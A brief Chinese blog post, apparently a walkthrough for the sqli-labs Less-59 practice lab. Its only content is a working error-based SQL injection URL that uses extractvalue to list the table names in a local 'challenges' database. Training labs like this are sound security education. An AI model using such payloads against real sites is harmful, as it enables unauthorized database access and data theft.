标签：
与less58一致，直接给出一个示例payload：
http://127.0.0.1/sqli-labs/Less-59/?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges‘),0x7e))--+
标签：
原文地址：http://www.cnblogs.com/lcamry/p/5762636.html
